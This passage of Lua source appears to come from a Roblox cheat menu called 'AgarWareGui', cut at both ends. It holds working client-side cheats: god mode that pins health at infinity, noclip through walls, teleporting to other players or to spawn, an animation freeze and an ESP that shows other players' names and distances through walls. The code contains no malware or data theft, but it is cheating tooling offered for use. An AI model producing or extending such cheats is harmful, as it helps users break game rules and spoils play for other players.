			isEnabled = function() return isEnabled end
		}
	end
	
	-- ============================================================
	-- BUTTON FEATURE SETUP
	-- ============================================================
	local function setupButton(config)
		local rowName = config.row
		local buttonName = config.button
		local tooltipText = config.tooltip
		local onClick = config.onClick
	
		local row = CharacterGroup:FindFirstChild(rowName)
		if not row then 
			warn("[CharacterGroup] Row not found:", rowName)
			return 
		end
	
		local button = row:FindFirstChild(buttonName)
		if not button then 
			warn("[CharacterGroup] Button not found:", buttonName)
			return 
		end
	
		-- Create tooltip if provided
		if tooltipText then
			local tooltip = createTooltip(buttonName .. "Tooltip", tooltipText, button)
			table.insert(activeFeatures, {tooltip = tooltip})
		end
	
		-- Click handler
		button.MouseButton1Click:Connect(function()
			if onClick then
				pcall(onClick)
			end
		end)
	end
	
	-- ============================================================
	-- FEATURES START HERE
	-- ============================================================
	
	-- FREEZE ANIM
	setupTickBox({
		row = "FreezeAnimRow",
		tickBox = "FreezeAnimTickBox",
		tooltip = "Freezes your character animation in its current pose",
		onEnable = function()
			local character = LocalPlayer.Character
			if not character then return end
			local humanoid = character:FindFirstChildOfClass("Humanoid")
			if not humanoid then return end
			local animate = character:FindFirstChild("Animate")
			if animate then
				animate.Disabled = true
			end
			for _, track in pairs(humanoid:GetPlayingAnimationTracks()) do
				track:AdjustSpeed(0)
			end
		end,
		onDisable = function()
			local character = LocalPlayer.Character
			if not character then return end
			local humanoid = character:FindFirstChildOfClass("Humanoid")
			if not humanoid then return end
			local animate = character:FindFirstChild("Animate")
			if animate then
				animate.Disabled = false
			end
			for _, track in pairs(humanoid:GetPlayingAnimationTracks()) do
				track:AdjustSpeed(1)
			end
		end
	})
	
	-- GOD MODE
	local godConnections = {}
	
	setupTickBox({
		row = "GodModeRow",
		tickBox = "GodModeTickBox",
		tooltip = "Makes your character invincible. May not work in all games",
		onEnable = function()
			for _, conn in pairs(godConnections) do
				if conn then conn:Disconnect() end
			end
			godConnections = {}
	
			local character = LocalPlayer.Character
			if not character then return end
			local humanoid = character:FindFirstChildOfClass("Humanoid")
			if not humanoid then return end
	
			humanoid.MaxHealth = math.huge
			humanoid.Health = math.huge
	
			table.insert(godConnections, RunService.RenderStepped:Connect(function()
				if shared.GodModePaused then return end
				if humanoid and humanoid.Parent then
					humanoid.MaxHealth = math.huge
					humanoid.Health = math.huge
				end
			end))
	
			table.insert(godConnections, humanoid:GetPropertyChangedSignal("Health"):Connect(function()
				if humanoid and humanoid.Parent then
					if humanoid.Health < math.huge then
						humanoid.MaxHealth = math.huge
						humanoid.Health = math.huge
					end
				end
			end))
	
			table.insert(godConnections, humanoid.Died:Connect(function()
				task.wait()
				humanoid.Health = math.huge
			end))
		end,
		onDisable = function()
			for _, conn in pairs(godConnections) do
				if conn then conn:Disconnect() end
			end
			godConnections = {}
	
			task.wait()
			local character = LocalPlayer.Character
			if character then
				local humanoid = character:FindFirstChildOfClass("Humanoid")
				if humanoid then
					humanoid.MaxHealth = 100
					task.wait()
					humanoid.Health = 100
				end
			end
		end
	})
	
	LocalPlayer.CharacterAdded:Connect(function(character)
		-- Re-enable god mode on respawn if it was enabled
		task.wait(0.1)
		-- The setupTickBox will handle this via its internal state
	end)
	
	-- NOCLIP
	local nocollideParts = {"Head", "Left Arm", "Right Arm", "LeftHand", "RightHand", "LeftLowerArm", "RightLowerArm", "LeftUpperArm", "RightUpperArm"}
	
	local function setCollisionDefaults()
		local character = LocalPlayer.Character
		if not character then return end
		for _, part in pairs(character:GetChildren()) do
			if part:IsA("BasePart") then
				local shouldCollide = true
				for _, name in pairs(nocollideParts) do
					if part.Name == name then
						shouldCollide = false
						break
					end
				end
				part.CanCollide = shouldCollide
			end
		end
	end
	
	setupTickBox({
		row = "NoclipRow",
		tickBox = "NoclipTickBox",
		tooltip = "Allows your character to walk through walls",
		onDisable = function()
			setCollisionDefaults()
			local character = LocalPlayer.Character
			if character then
				local humanoid = character:FindFirstChildOfClass("Humanoid")
				if humanoid then
					humanoid:ChangeState(Enum.HumanoidStateType.GettingUp)
				end
			end
		end,
		loop = function()
			local character = LocalPlayer.Character
			if not character then return end
			for _, part in pairs(character:GetChildren()) do
				if part:IsA("BasePart") then
					part.CanCollide = false
				end
			end
		end
	})
	
	-- TP PLAYER (Button)
	setupButton({
		row = "TpPlayerRow2",
		button = "TpPlayerButton",
		onClick = function()
			local TpPlayerRow1 = CharacterGroup:FindFirstChild("TpPlayerRow1")
			if not TpPlayerRow1 then return end
	
			local selectedName = TpPlayerRow1:GetAttribute("SelectedPlayer")
			if not selectedName or selectedName == "" then return end
	
			local targetPlayer = Players:FindFirstChild(selectedName)
			if not targetPlayer then return end
			local targetCharacter = targetPlayer.Character
			if not targetCharacter then return end
			local targetHRP = targetCharacter:FindFirstChild("HumanoidRootPart")
			if not targetHRP then return end
	
			local myCharacter = LocalPlayer.Character
			if not myCharacter then return end
			local myHRP = myCharacter:FindFirstChild("HumanoidRootPart")
			if not myHRP then return end
	
			myHRP.CFrame = targetHRP.CFrame + Vector3.new(0, 3, 0)
		end
	})
	
	-- TP SPAWN (Button)
	setupButton({
		row = "TpSpawnRow",
		button = "TpSpawnButton",
		onClick = function()
			local character = LocalPlayer.Character
			if not character then return end
			local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")
			if not humanoidRootPart then return end
	
			local spawnLocation = workspace:FindFirstChildOfClass("SpawnLocation")
			if spawnLocation then
				humanoidRootPart.CFrame = CFrame.new(spawnLocation.Position + Vector3.new(0, 5, 0))
			else
				humanoidRootPart.CFrame = CFrame.new(0, 5, 0)
			end
		end
	})
	
	-- ============================================================
	-- ADD NEW FEATURES HERE - USE THESE TEMPLATES:
	-- ============================================================
	
	--[[
	TICKBOX TEMPLATE:
	
	setupTickBox({
		row = "YourRow",
		tickBox = "YourTickBox",
		tooltip = "What this feature does",
		onEnable = function()
			-- Runs once when enabled
		end,
		onDisable = function()
			-- Runs once when disabled
		end,
		loop = function()
			-- Runs every frame while enabled
		end
	})
	
	================================================================================
	
	BUTTON TEMPLATE:
	
	setupButton({
		row = "YourRow",
		button = "YourButton",
		tooltip = "What this button does",  -- Optional
		onClick = function()
			-- Runs when clicked
		end
	})
	
	================================================================================
	]]
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			for _, feature in pairs(activeFeatures) do
				if feature.tooltip then
					feature.tooltip:Destroy()
				end
				if feature.disable then
					feature.disable()
				end
			end
		end
	end)
end;
task.spawn(C_62);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow1.TpPlayerScript
local function C_76()
local script = G2L["76"];
	local Players = game:GetService("Players")
	local UserInputService = game:GetService("UserInputService")
	local RunService = game:GetService("RunService")
	
	local LocalPlayer = Players.LocalPlayer
	
	local TpPlayerRow1 = script.Parent
	local TpPlayerDropdown = TpPlayerRow1.TpPlayerDropdown
	local CharacterGroup = TpPlayerRow1.Parent
	
	local selectedPlayer = nil
	local isOpen = false
	local showDisplay = false
	local showFriends = false
	local friendsList = {}
	
	local ROW_HEIGHT = 16
	local MAX_ROWS = 7
	local BG = Color3.fromRGB(24, 24, 24)
	local BORDER = Color3.fromRGB(57, 57, 57)
	local WHITE = Color3.new(1, 1, 1)
	local DIM = Color3.fromRGB(120, 120, 120)
	local BLUE = Color3.fromRGB(0, 123, 255)
	local HOVER = Color3.fromRGB(36, 36, 36)
	local BTN_BG = Color3.fromRGB(36, 36, 36)
	
	-- Wait for GUI to be fully loaded
	if not game:IsLoaded() then
		game.Loaded:Wait()
	end
	
	-- Wait for the dropdown to be fully positioned
	repeat
		task.wait()
	until TpPlayerDropdown.AbsoluteSize.X > 0
	
	local mainLabel = Instance.new("TextLabel")
	mainLabel.Name = "MainLabel"
	mainLabel.Size = UDim2.new(1, -24, 1, 0)
	mainLabel.Position = UDim2.new(0, 0, 0, 0)
	mainLabel.BackgroundTransparency = 1
	mainLabel.Text = "Select Player"
	mainLabel.TextColor3 = WHITE
	mainLabel.TextSize = 14
	mainLabel.Font = Enum.Font.Code
	mainLabel.TextXAlignment = Enum.TextXAlignment.Center
	mainLabel.TextTruncate = Enum.TextTruncate.AtEnd
	mainLabel.ZIndex = 2
	mainLabel.Parent = TpPlayerDropdown
	
	local mainArrow = Instance.new("TextLabel")
	mainArrow.Name = "MainArrow"
	mainArrow.Size = UDim2.new(0, 24, 1, 0)
	mainArrow.Position = UDim2.new(1, -24, 0, 0)
	mainArrow.BackgroundTransparency = 1
	mainArrow.Text = "▼"
	mainArrow.TextColor3 = WHITE
	mainArrow.TextSize = 14
	mainArrow.Font = Enum.Font.Code
	mainArrow.TextXAlignment = Enum.TextXAlignment.Center
	mainArrow.ZIndex = 2
	mainArrow.Parent = TpPlayerDropdown
	
	local function getScreenGui()
		local parent = TpPlayerRow1
		while parent do
			if parent:IsA("ScreenGui") then return parent end
			parent = parent.Parent
		end
	end
	
	local BOTTOM_BAR_HEIGHT = ROW_HEIGHT + 2
	
	local panel = Instance.new("Frame")
	panel.Name = "DropdownPanel"
	panel.BackgroundColor3 = BG
	panel.BorderSizePixel = 0
	panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT)
	panel.ZIndex = 999
	panel.Visible = false
	panel.Parent = getScreenGui()
	
	local panelStroke = Instance.new("UIStroke")
	panelStroke.Color = BORDER
	panelStroke.Thickness = 1
	panelStroke.Parent = panel
	
	local searchBox = Instance.new("TextBox")
	searchBox.Size = UDim2.new(1, 0, 0, ROW_HEIGHT)
	searchBox.Position = UDim2.new(0, 0, 0, 0)
	searchBox.BackgroundColor3 = BG
	searchBox.BorderSizePixel = 0
	searchBox.Text = ""
	searchBox.PlaceholderText = "Search for users..."
	searchBox.PlaceholderColor3 = DIM
	searchBox.TextColor3 = WHITE
	searchBox.TextSize = 14
	searchBox.Font = Enum.Font.Code
	searchBox.TextXAlignment = Enum.TextXAlignment.Left
	searchBox.ClearTextOnFocus = false
	searchBox.ZIndex = 1000
	searchBox.Parent = panel
	
	local searchPad = Instance.new("UIPadding")
	searchPad.PaddingLeft = UDim.new(0, 6)
	searchPad.PaddingRight = UDim.new(0, 24)
	searchPad.Parent = searchBox
	
	local searchArrow = Instance.new("TextButton")
	searchArrow.Size = UDim2.new(0, 24, 0, ROW_HEIGHT)
	searchArrow.Position = UDim2.new(1, -24, 0, 0)
	searchArrow.BackgroundTransparency = 1
	searchArrow.Text = "▲"
	searchArrow.TextColor3 = WHITE
	searchArrow.TextSize = 14
	searchArrow.Font = Enum.Font.Code
	searchArrow.BorderSizePixel = 0
	searchArrow.ZIndex = 1001
	searchArrow.Parent = panel
	
	local scrollFrame = Instance.new("ScrollingFrame")
	scrollFrame.Position = UDim2.new(0, 0, 0, ROW_HEIGHT)
	scrollFrame.Size = UDim2.new(1, 0, 0, 0)
	scrollFrame.BackgroundTransparency = 1
	scrollFrame.BorderSizePixel = 0
	scrollFrame.ScrollBarThickness = 2
	scrollFrame.ScrollBarImageColor3 = BORDER
	scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
	scrollFrame.ZIndex = 1000
	scrollFrame.Parent = panel
	
	local listLayout = Instance.new("UIListLayout")
	listLayout.SortOrder = Enum.SortOrder.LayoutOrder
	listLayout.Parent = scrollFrame
	
	local bottomBar = Instance.new("Frame")
	bottomBar.Size = UDim2.new(1, 0, 0, BOTTOM_BAR_HEIGHT)
	bottomBar.BackgroundColor3 = Color3.fromRGB(18, 18, 18)
	bottomBar.BorderSizePixel = 0
	bottomBar.ZIndex = 1000
	bottomBar.Parent = panel
	
	local bottomStroke = Instance.new("UIStroke")
	bottomStroke.Color = BORDER
	bottomStroke.Thickness = 1
	bottomStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
	bottomStroke.Parent = bottomBar
	
	local displayBtn = Instance.new("TextButton")
	displayBtn.Size = UDim2.new(0.5, -1, 1, 0)
	displayBtn.Position = UDim2.new(0, 0, 0, 0)
	displayBtn.BackgroundColor3 = BTN_BG
	displayBtn.BorderSizePixel = 0
	displayBtn.Text = "Show Display"
	displayBtn.TextColor3 = WHITE
	displayBtn.TextSize = 11
	displayBtn.Font = Enum.Font.Code
	displayBtn.ZIndex = 1001
	displayBtn.Parent = bottomBar
	
	local divider = Instance.new("Frame")
	divider.Size = UDim2.new(0, 1, 1, 0)
	divider.Position = UDim2.new(0.5, -1, 0, 0)
	divider.BackgroundColor3 = BORDER
	divider.BorderSizePixel = 0
	divider.ZIndex = 1001
	divider.Parent = bottomBar
	
	local friendsBtn = Instance.new("TextButton")
	friendsBtn.Size = UDim2.new(0.5, 0, 1, 0)
	friendsBtn.Position = UDim2.new(0.5, 1, 0, 0)
	friendsBtn.BackgroundColor3 = BTN_BG
	friendsBtn.BorderSizePixel = 0
	friendsBtn.Text = "Show Friends"
	friendsBtn.TextColor3 = WHITE
	friendsBtn.TextSize = 11
	friendsBtn.Font = Enum.Font.Code
	friendsBtn.ZIndex = 1001
	friendsBtn.Parent = bottomBar
	
	local cachedThumbs = {}
	local function getThumb(userId)
		if cachedThumbs[userId] then return cachedThumbs[userId] end
		local ok, img = pcall(function()
			return Players:GetUserThumbnailAsync(userId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48)
		end)
		local result = ok and img or ""
		cachedThumbs[userId] = result
		return result
	end
	
	local function loadFriends()
		friendsList = {}
		local ok, pages = pcall(function()
			return LocalPlayer:GetFriendsAsync(200)
		end)
		if not ok then return end
		local function processPage()
			for _, v in pairs(pages:GetCurrentPage()) do
				friendsList[v.Id] = true
			end
		end
		processPage()
		while not pages.IsFinished do
			local ok2 = pcall(function() pages:AdvanceToNextPageAsync() end)
			if not ok2 then break end
			processPage()
		end
	end
	
	task.spawn(loadFriends)
	
	local function updatePanelSize(rowCount)
		local visibleRows = math.min(rowCount, MAX_ROWS)
		local scrollH = visibleRows * ROW_HEIGHT
		scrollFrame.Size = UDim2.new(1, 0, 0, scrollH)
		panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT + scrollH + BOTTOM_BAR_HEIGHT)
		scrollFrame.CanvasSize = UDim2.new(0, 0, 0, rowCount * ROW_HEIGHT)
		bottomBar.Position = UDim2.new(0, 0, 0, ROW_HEIGHT + scrollH)
	end
	
	local function buildList(filter)
		for _, child in pairs(scrollFrame:GetChildren()) do
			if child:IsA("Frame") then child:Destroy() end
		end
	
		local playerList = {}
		for _, p in pairs(Players:GetPlayers()) do
			if p ~= LocalPlayer then
				if not showFriends or friendsList[p.UserId] then
					table.insert(playerList, p)
				end
			end
		end
	
		table.sort(playerList, function(a, b)
			local nameA = showDisplay and a.DisplayName or a.Name
			local nameB = showDisplay and b.DisplayName or b.Name
			return nameA:lower() < nameB:lower()
		end)
	
		local filtered = {}
		for _, p in ipairs(playerList) do
			local displayText = showDisplay and p.DisplayName or p.Name
			if filter == "" or displayText:lower():find(filter:lower(), 1, true) then
				table.insert(filtered, p)
			end
		end
	
		for i, p in ipairs(filtered) do
			local isSelected = selectedPlayer == p
			local displayText = showDisplay and p.DisplayName or p.Name
	
			local row = Instance.new("Frame")
			row.Size = UDim2.new(1, 0, 0, ROW_HEIGHT)
			row.BackgroundColor3 = isSelected and HOVER or BG
			row.BorderSizePixel = 0
			row.LayoutOrder = i
			row.ZIndex = 1001
			row.Parent = scrollFrame
	
			local thumb = Instance.new("ImageLabel")
			thumb.Size = UDim2.new(0, 12, 0, 12)
			thumb.Position = UDim2.new(1, -16, 0.5, -6)
			thumb.BackgroundTransparency = 1
			thumb.Image = ""
			thumb.ZIndex = 1002
			thumb.Parent = row
	
			task.spawn(function()
				thumb.Image = getThumb(p.UserId)
			end)
	
			local nameLabel = Instance.new("TextLabel")
			nameLabel.Size = UDim2.new(1, -22, 1, 0)
			nameLabel.Position = UDim2.new(0, 6, 0, 0)
			nameLabel.BackgroundTransparency = 1
			nameLabel.Text = displayText
			nameLabel.TextColor3 = isSelected and BLUE or WHITE
			nameLabel.TextSize = 14
			nameLabel.Font = Enum.Font.Code
			nameLabel.TextXAlignment = Enum.TextXAlignment.Left
			nameLabel.TextTruncate = Enum.TextTruncate.AtEnd
			nameLabel.ZIndex = 1002
			nameLabel.Parent = row
	
			local rowBtn = Instance.new("TextButton")
			rowBtn.Size = UDim2.new(1, 0, 1, 0)
			rowBtn.BackgroundTransparency = 1
			rowBtn.Text = ""
			rowBtn.ZIndex = 1003
			rowBtn.Parent = row
	
			rowBtn.MouseEnter:Connect(function()
				if selectedPlayer ~= p then
					row.BackgroundColor3 = HOVER
				end
			end)
			rowBtn.MouseLeave:Connect(function()
				if selectedPlayer ~= p then
					row.BackgroundColor3 = BG
				end
			end)
	
			rowBtn.MouseButton1Click:Connect(function()
				selectedPlayer = p
				TpPlayerRow1:SetAttribute("SelectedPlayer", p.Name)
				isOpen = false
				panel.Visible = false
				mainLabel.Visible = true
				mainArrow.Visible = true
				mainArrow.Text = "▼"
				mainLabel.Text = showDisplay and p.DisplayName or p.Name
				mainLabel.TextColor3 = WHITE
			end)
		end
	
		updatePanelSize(#filtered)
	end
	
	local function openDropdown()
		isOpen = true
		mainLabel.Visible = false
		mainArrow.Visible = false
	
		-- Ensure the dropdown has valid position before opening
		repeat
			task.wait()
		until TpPlayerDropdown.AbsoluteSize.X > 0
	
		local absPos = TpPlayerDropdown.AbsolutePosition
		local absSize = TpPlayerDropdown.AbsoluteSize
		panel.Position = UDim2.new(0, absPos.X, 0, absPos.Y + absSize.Y)
		panel.Size = UDim2.new(0, absSize.X, 0, ROW_HEIGHT)
		panel.Visible = true
	
		searchBox.Text = ""
		buildList("")
	end
	
	local function closeDropdown()
		isOpen = false
		panel.Visible = false
		mainLabel.Visible = true
		mainArrow.Visible = true
		mainArrow.Text = "▼"
		if selectedPlayer then
			mainLabel.Text = showDisplay and selectedPlayer.DisplayName or selectedPlayer.Name
			mainLabel.TextColor3 = WHITE
		else
			mainLabel.Text = "Select Player"
			mainLabel.TextColor3 = WHITE
		end
	end
	
	displayBtn.MouseButton1Click:Connect(function()
		showDisplay = not showDisplay
		displayBtn.Text = showDisplay and "Show Username" or "Show Display"
		if selectedPlayer then
			mainLabel.Text = showDisplay and selectedPlayer.DisplayName or selectedPlayer.Name
		end
		if isOpen then
			buildList(searchBox.Text)
		end
	end)
	
	friendsBtn.MouseButton1Click:Connect(function()
		showFriends = not showFriends
		friendsBtn.Text = showFriends and "Show All" or "Show Friends"
		if isOpen then
			buildList(searchBox.Text)
		end
	end)
	
	TpPlayerDropdown.MouseButton1Click:Connect(function()
		if isOpen then
			closeDropdown()
		else
			openDropdown()
		end
	end)
	
	searchArrow.MouseButton1Click:Connect(function()
		closeDropdown()
	end)
	
	searchBox:GetPropertyChangedSignal("Text"):Connect(function()
		buildList(searchBox.Text)
	end)
	
	UserInputService.InputBegan:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseButton1 and isOpen then
			local mousePos = input.Position
			local panelPos = panel.AbsolutePosition
			local panelSize = panel.AbsoluteSize
			local btnPos = TpPlayerDropdown.AbsolutePosition
			local btnSize = TpPlayerDropdown.AbsoluteSize
	
			local inPanel = mousePos.X >= panelPos.X and mousePos.X <= panelPos.X + panelSize.X
				and mousePos.Y >= panelPos.Y and mousePos.Y <= panelPos.Y + panelSize.Y
			local inBtn = mousePos.X >= btnPos.X and mousePos.X <= btnPos.X + btnSize.X
				and mousePos.Y >= btnPos.Y and mousePos.Y <= btnPos.Y + btnSize.Y
	
			if not inPanel and not inBtn then
				closeDropdown()
			end
		end
	end)
	
	Players.PlayerRemoving:Connect(function(p)
		if selectedPlayer == p then
			selectedPlayer = nil
			TpPlayerRow1:SetAttribute("SelectedPlayer", "")
			mainLabel.Text = "Select Player"
			mainLabel.TextColor3 = WHITE
		end
		if isOpen then
			buildList(searchBox.Text)
		end
	end)
	
	Players.PlayerAdded:Connect(function()
		if isOpen then
			buildList(searchBox.Text)
		end
	end)
	
	TpPlayerRow1:SetAttribute("SelectedPlayer", "")
end;
task.spawn(C_76);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.ResetRow.ResetScript
local function C_79()
local script = G2L["79"];
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local LocalPlayer = Players.LocalPlayer
	local ResetRow = script.Parent
	local ResetButton = ResetRow.ResetButton
	
	local HOLD_TIME = 0.5
	local GREY = Color3.fromRGB(80, 80, 80)
	local RED = Color3.fromRGB(180, 30, 30)
	local WHITE = Color3.new(1, 1, 1)
	
	-- Wait for GUI to be fully loaded
	if not game:IsLoaded() then
		game.Loaded:Wait()
	end
	
	-- Clear the button's default text
	ResetButton.Text = ""
	
	local fillBar = Instance.new("Frame")
	fillBar.Name = "FillBar"
	fillBar.Size = UDim2.new(0, 0, 1, 0)
	fillBar.Position = UDim2.new(0, 0, 0, 0)
	fillBar.BackgroundColor3 = GREY
	fillBar.BorderSizePixel = 0
	fillBar.ZIndex = 1
	fillBar.Parent = ResetButton
	
	local btnLabel = Instance.new("TextLabel")
	btnLabel.Name = "BtnLabel"
	btnLabel.Size = UDim2.new(1, 0, 1, 0)
	btnLabel.Position = UDim2.new(0, 0, 0, 0)
	btnLabel.BackgroundTransparency = 1
	btnLabel.Text = "Reset Character"
	btnLabel.TextColor3 = WHITE
	btnLabel.TextSize = 14
	btnLabel.Font = Enum.Font.Code
	btnLabel.ZIndex = 2
	btnLabel.Parent = ResetButton
	
	local holding = false
	local progress = 0
	local connection = nil
	
	local function reset()
		-- Pause god mode temporarily
		shared.GodModePaused = true
	
		-- Reset character
		shared.ResetCharacter()
	
		-- Resume god mode after a short delay
		task.wait(0.5)
		shared.GodModePaused = false
	end
	
	local function stopHold()
		holding = false
		if connection then
			connection:Disconnect()
			connection = nil
		end
		progress = 0
		fillBar.Size = UDim2.new(0, 0, 1, 0)
		fillBar.BackgroundColor3 = GREY
		btnLabel.Text = "Reset Character"
		btnLabel.TextColor3 = WHITE
		btnLabel.TextScaled = false
		btnLabel.BackgroundTransparency = 1
	end
	
	ResetButton.MouseButton1Down:Connect(function()
		holding = true
		progress = 0
		btnLabel.Text = "Hold to Reset..."
		fillBar.BackgroundColor3 = GREY
	
		connection = RunService.RenderStepped:Connect(function(dt)
			if not holding then return end
	
			progress = progress + (dt / HOLD_TIME)
			progress = math.clamp(progress, 0, 1)
			fillBar.Size = UDim2.new(progress, 0, 1, 0)
	
			if progress >= 1 then
				btnLabel.Text = "Resetting..."
				stopHold()
				task.wait(0.1)
				reset()
			end
		end)
	end)
	
	ResetButton.MouseButton1Up:Connect(function()
		stopHold()
	end)
	
	ResetButton.MouseLeave:Connect(function()
		stopHold()
	end)
end;
task.spawn(C_79);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPScript
local function C_7f()
local script = G2L["7f"];
	local ESPGroup = script.Parent
	local ESPMinimize = ESPGroup.ESPTitle.ESPMinimize
	local function getRows()
		local rows = {}
		for _, child in ipairs(ESPGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	local isMinimized = false
	local originalSize = ESPGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	ESPMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
		if isMinimized then
			ESPGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			ESPMinimize.Text = "+"
		else
			ESPGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			ESPMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_7f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow.ESPNameScript
local function C_85()
local script = G2L["85"];
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local LocalPlayer = Players.LocalPlayer
	
	local ESPGroup = script.Parent.Parent
	local ESPAccentColor = ESPGroup:WaitForChild("ESPAccentColor")
	local ESPNameTickBox = script.Parent:WaitForChild("ESPNameTickBox")
	
	local isEnabled = false
	local ESPColor = Color3.fromRGB(255, 255, 255)
	local ESPGuis = {}
	local renderConnection = nil
	
	ESPGroup:GetAttributeChangedSignal("ESPColor"):Connect(function()
		local newColor = ESPGroup:GetAttribute("ESPColor")
		if newColor then
			ESPColor = newColor
			for plr, data in pairs(ESPGuis) do
				if data and data.NameLabel then
					data.NameLabel.TextColor3 = newColor
				end
			end
		end
	end)
	
	local function getAccent()
		return ESPAccentColor.BackgroundColor3
	end
	
	local function getScreenGui()
		local parent = ESPGroup
		while parent do
			if parent:IsA("ScreenGui") then return parent end
			parent = parent.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local stroke = Instance.new("UIStroke")
	stroke.Color = Color3.fromRGB(57, 57, 57)
	stroke.Thickness = 1
	stroke.Parent = tooltipFrame
	
	local padding = Instance.new("UIPadding")
	padding.PaddingTop = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft = UDim.new(0, 6)
	padding.PaddingRight = UDim.new(0, 6)
	padding.Parent = tooltipFrame
	
	local tooltipLabel = Instance.new("TextLabel")
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Shows player names above their character"
	tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
	tooltipLabel.ZIndex = 101
	tooltipLabel.Parent = tooltipFrame
	
	ESPNameTickBox.MouseEnter:Connect(function()
		local abs = ESPNameTickBox.AbsolutePosition
		local size = ESPNameTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	ESPNameTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	local function createNameGui(targetPlayer)
		local char = targetPlayer.Character
		if not char then return end
		local head = char:FindFirstChild("Head")
		if not head then return end
	
		local old = head:FindFirstChild("ESPNameGui_" .. targetPlayer.Name)
		if old then old:Destroy() end
	
		local bb = Instance.new("BillboardGui")
		bb.Name = "ESPNameGui_" .. targetPlayer.Name
		bb.Size = UDim2.new(0, 200, 0, 30)
		bb.StudsOffset = Vector3.new(0, 3, 0)
		bb.Adornee = head
		bb.AlwaysOnTop = true
		bb.Enabled = true
		bb.Parent = head
	
		local label = Instance.new("TextLabel")
		label.Name = "NameLabel"
		label.Size = UDim2.new(1, 0, 1, 0)
		label.BackgroundTransparency = 1
		label.Text = targetPlayer.Name
		label.TextColor3 = ESPColor
		label.TextStrokeTransparency = 0
		label.TextStrokeColor3 = Color3.fromRGB(0, 0, 0)
		label.TextSize = 14
		label.Font = Enum.Font.GothamSemibold
		label.Parent = bb
	
		ESPGuis[targetPlayer] = {BillboardGui = bb, NameLabel = label}
	
		local humanoid = char:FindFirstChildOfClass("Humanoid")
		if humanoid then
			humanoid.Died:Connect(function()
				if ESPGuis[targetPlayer] and ESPGuis[targetPlayer].BillboardGui then
					ESPGuis[targetPlayer].BillboardGui:Destroy()
				end
				ESPGuis[targetPlayer] = nil
			end)
		end
	end
	
	local function removeNameGui(targetPlayer)
		if ESPGuis[targetPlayer] then
			if ESPGuis[targetPlayer].BillboardGui then
				ESPGuis[targetPlayer].BillboardGui:Destroy()
			end
			ESPGuis[targetPlayer] = nil
		end
	end
	
	local function startRender()
		if renderConnection then renderConnection:Disconnect() end
		renderConnection = RunService.RenderStepped:Connect(function()
			local myChar = LocalPlayer.Character
			local myHRP = myChar and myChar:FindFirstChild("HumanoidRootPart")
			local maxDist = ESPGroup:GetAttribute("ESPMaxDist") or 1000
			local espEnabled = ESPGroup:GetAttribute("ESPEnabled")
			local useDisplay = ESPGroup.Parent.Parent.VisualRightSide:FindFirstChild("ESPSGroup") and ESPGroup.Parent.Parent.VisualRightSide.ESPSGroup:GetAttribute("UseDisplayName")
			local showDist = ESPGroup:GetAttribute("ShowDist")
			for plr, data in pairs(ESPGuis) do
				if data and data.NameLabel and data.BillboardGui then
					local targetChar = plr.Character
					local targetHRP = targetChar and targetChar:FindFirstChild("HumanoidRootPart")
					if myHRP and targetHRP then
						local dist = (myHRP.Position - targetHRP.Position).Magnitude
						local distText = string.format("%.1f", dist)
						local name = useDisplay and plr.DisplayName or plr.Name
						if dist <= maxDist and espEnabled then
							data.BillboardGui.Enabled = true
							if isEnabled and showDist then
								data.NameLabel.Text = name .. " | " .. distText
							elseif isEnabled then
								data.NameLabel.Text = name
							elseif showDist then
								data.NameLabel.Text = distText
							else
								data.BillboardGui.Enabled = false
							end
							data.NameLabel.TextColor3 = ESPColor
						else
							data.BillboardGui.Enabled = false
						end
					end
				end
			end
		end)
	end
	
	local function enable()
		isEnabled = true
		ESPNameTickBox.BackgroundColor3 = getAccent()
		for _, plr in pairs(Players:GetPlayers()) do
			if plr ~= LocalPlayer then
				if not ESPGuis[plr] then
					createNameGui(plr)
				end
				plr.CharacterAdded:Connect(function()
					task.wait(0.5)
